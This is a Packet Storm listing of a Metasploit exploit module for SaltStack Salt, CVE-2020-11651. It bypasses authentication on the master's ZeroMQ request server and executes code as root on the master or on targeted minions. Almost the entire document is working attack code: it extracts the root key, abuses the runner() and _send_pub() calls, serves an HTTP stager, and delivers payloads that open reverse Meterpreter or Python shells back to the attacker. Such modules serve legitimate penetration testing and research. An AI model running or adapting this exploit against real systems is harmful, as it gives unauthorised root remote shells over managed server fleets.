SaltStack Salt Master/Minion Unauthenticated Remote Code Execution

2020-05-12T00:00:00
ID PACKETSTORM:157678
Type packetstorm
Reporter wvu
Modified 2020-05-12T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::ZeroMQ  
include Msf::Exploit::Remote::CheckModule  
include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',  
'Description' => %q{  
This module exploits unauthenticated access to the runner() and  
_send_pub() methods in the SaltStack Salt master's ZeroMQ request  
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to  
execute code as root on either the master or on select minions.  
  
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0 are  
known to be affected by the Salt vulnerabilities.  
  
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as  
well as Vulhub's Docker image.  
},  
'Author' => [  
'F-Secure', # Discovery  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-11651'], # Auth bypass (used by this module)  
['CVE', '2020-11652'], # Authed directory traversals (not used here)  
['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],  
['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],  
['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']  
],  
'DisclosureDate' => '2020-04-30', # F-Secure advisory  
'License' => MSF_LICENSE,  
'Platform' => ['python', 'unix'],  
'Arch' => [ARCH_PYTHON, ARCH_CMD],  
'Privileged' => true,  
'Targets' => [  
[  
'Master (Python payload)',  
'Description' => 'Executing Python payload on the master',  
'Type' => :python,  
'DefaultOptions' => {  
'PAYLOAD' => 'python/meterpreter/reverse_https'  
}  
],  
[  
'Master (Unix command)',  
'Description' => 'Executing Unix command on the master',  
'Type' => :unix_command,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'  
}  
],  
[  
'Minions (Python payload)',  
'Description' => 'Executing Python payload on the minions',  
'Type' => :python,  
'DefaultOptions' => {  
'PAYLOAD' => 'python/meterpreter/reverse_https'  
}  
],  
[  
'Minions (Unix command)',  
'Description' => 'Executing Unix command on the minions',  
'Type' => :unix_command,  
'DefaultOptions' => {  
# cmd/unix/reverse_python_ssl crashes in this target  
'PAYLOAD' => 'cmd/unix/reverse_python'  
}  
]  
],  
'DefaultTarget' => 0, # Defaults to master for safety  
'DefaultOptions' => {  
'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'  
},  
'Notes' => {  
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(4506),  
OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', /.*/])  
])  
  
register_advanced_options([  
OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])  
])  
  
# XXX: https://github.com/rapid7/metasploit-framework/issues/12963  
import_target_defaults  
end  
  
# NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key  
  
def exploit  
# check.reason is from auxiliary/gather/saltstack_salt_root_key  
if target.name.start_with?('Master')  
unless (root_key = check.reason)  
fail_with(Failure::BadConfig,  
"#{target['Description']} requires a root key")  
end  
  
print_good("Successfully obtained root key: #{root_key}")  
end  
  
# These are from Msf::Exploit::Remote::ZeroMQ  
zmq_connect  
zmq_negotiate  
  
print_status("#{target['Description']}: #{datastore['PAYLOAD']}")  
  
case target.name  
when /^Master/  
yeet_runner(root_key)  
when /^Minions/  
yeet_send_pub  
end  
  
# HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one  
sleep(wfs_delay)  
rescue EOFError, Rex::ConnectionError => e  
print_error("#{e.class}: #{e.message}")  
ensure  
# This is from Msf::Exploit::Remote::ZeroMQ  
zmq_disconnect  
end  
  
def yeet_runner(root_key)  
print_status("Yeeting runner() at #{peer}")  
  
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951  
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951  
runner = {  
'cmd' => 'runner',  
# https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd  
'fun' => 'salt.cmd',  
'kwarg' => {  
'hide_output' => true,  
'ignore_retcode' => true,  
'output_loglevel' => 'quiet'  
},  
'user' => 'root', # This is NOT the Unix user!  
'key' => root_key # No JID needed, only the root key!  
}  
  
case target['Type']  
when :python  
vprint_status("Executing Python code: #{payload.encoded}")  
  
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code  
runner['kwarg'].merge!(  
'fun' => 'cmd.exec_code',  
'lang' => payload.arch.first,  
'code' => payload.encoded  
)  
when :unix_command  
# HTTPS doesn't appear to be supported by the server :(  
print_status("Serving intermediate stager over HTTP: #{start_service}")  
  
vprint_status("Executing Unix command: #{payload.encoded}")  
  
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script  
runner['kwarg'].merge!(  
# cmd.run doesn't work due to a missing argument error, so we use this  
'fun' => 'cmd.script',  
'source' => get_uri,  
'stdin' => payload.encoded  
)  
end  
  
vprint_status("Unserialized clear load: #{runner}")  
zmq_send_message(serialize_clear_load(runner))  
  
unless (res = sock.get_once)  
fail_with(Failure::Unknown, 'Did not receive runner() response')  
end  
  
vprint_good("Received runner() response: #{res.inspect}")  
end  
  
def yeet_send_pub  
print_status("Yeeting _send_pub() at #{peer}")  
  
# NOTE: A unique JID (job ID) is needed for every published job  
jid = generate_jid  
  
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151  
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151  
send_pub = {  
'cmd' => '_send_pub',  
'kwargs' => {  
'bg' => true,  
'hide_output' => true,  
'ignore_retcode' => true,  
'output_loglevel' => 'quiet',  
'show_jid' => false,  
'show_timeout' => false  
},  
'user' => 'root', # This is NOT the Unix user!  
'tgt' => datastore['MINIONS'].source,  
'tgt_type' => 'pcre',  
'jid' => jid  
}  
  
case target['Type']  
when :python  
vprint_status("Executing Python code: #{payload.encoded}")  
  
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code  
send_pub.merge!(  
'fun' => 'cmd.exec_code',  
'arg' => [payload.arch.first, payload.encoded]  
)  
when :unix_command  
vprint_status("Executing Unix command: #{payload.encoded}")  
  
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run  
send_pub.merge!(  
'fun' => 'cmd.run',  
'arg' => [payload.encoded]  
)  
end  
  
vprint_status("Unserialized clear load: #{send_pub}")  
zmq_send_message(serialize_clear_load(send_pub))  
  
unless (res = sock.get_once)  
fail_with(Failure::Unknown, 'Did not receive _send_pub() response')  
end  
  
vprint_good("Received _send_pub() response: #{res.inspect}")  
  
# NOTE: This path will likely change between platforms and distros  
register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")  
end  
  
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py  
# https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py  
def generate_jid  
DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')  
end  
  
# HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP  
def stager_instance  
nil  
end  
  
# HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP  
def exe  
# NOTE: The shebang line is necessary in this case!  
<<~SHELL  
#!/bin/sh  
/bin/sh  
SHELL  
end  
  
end  
`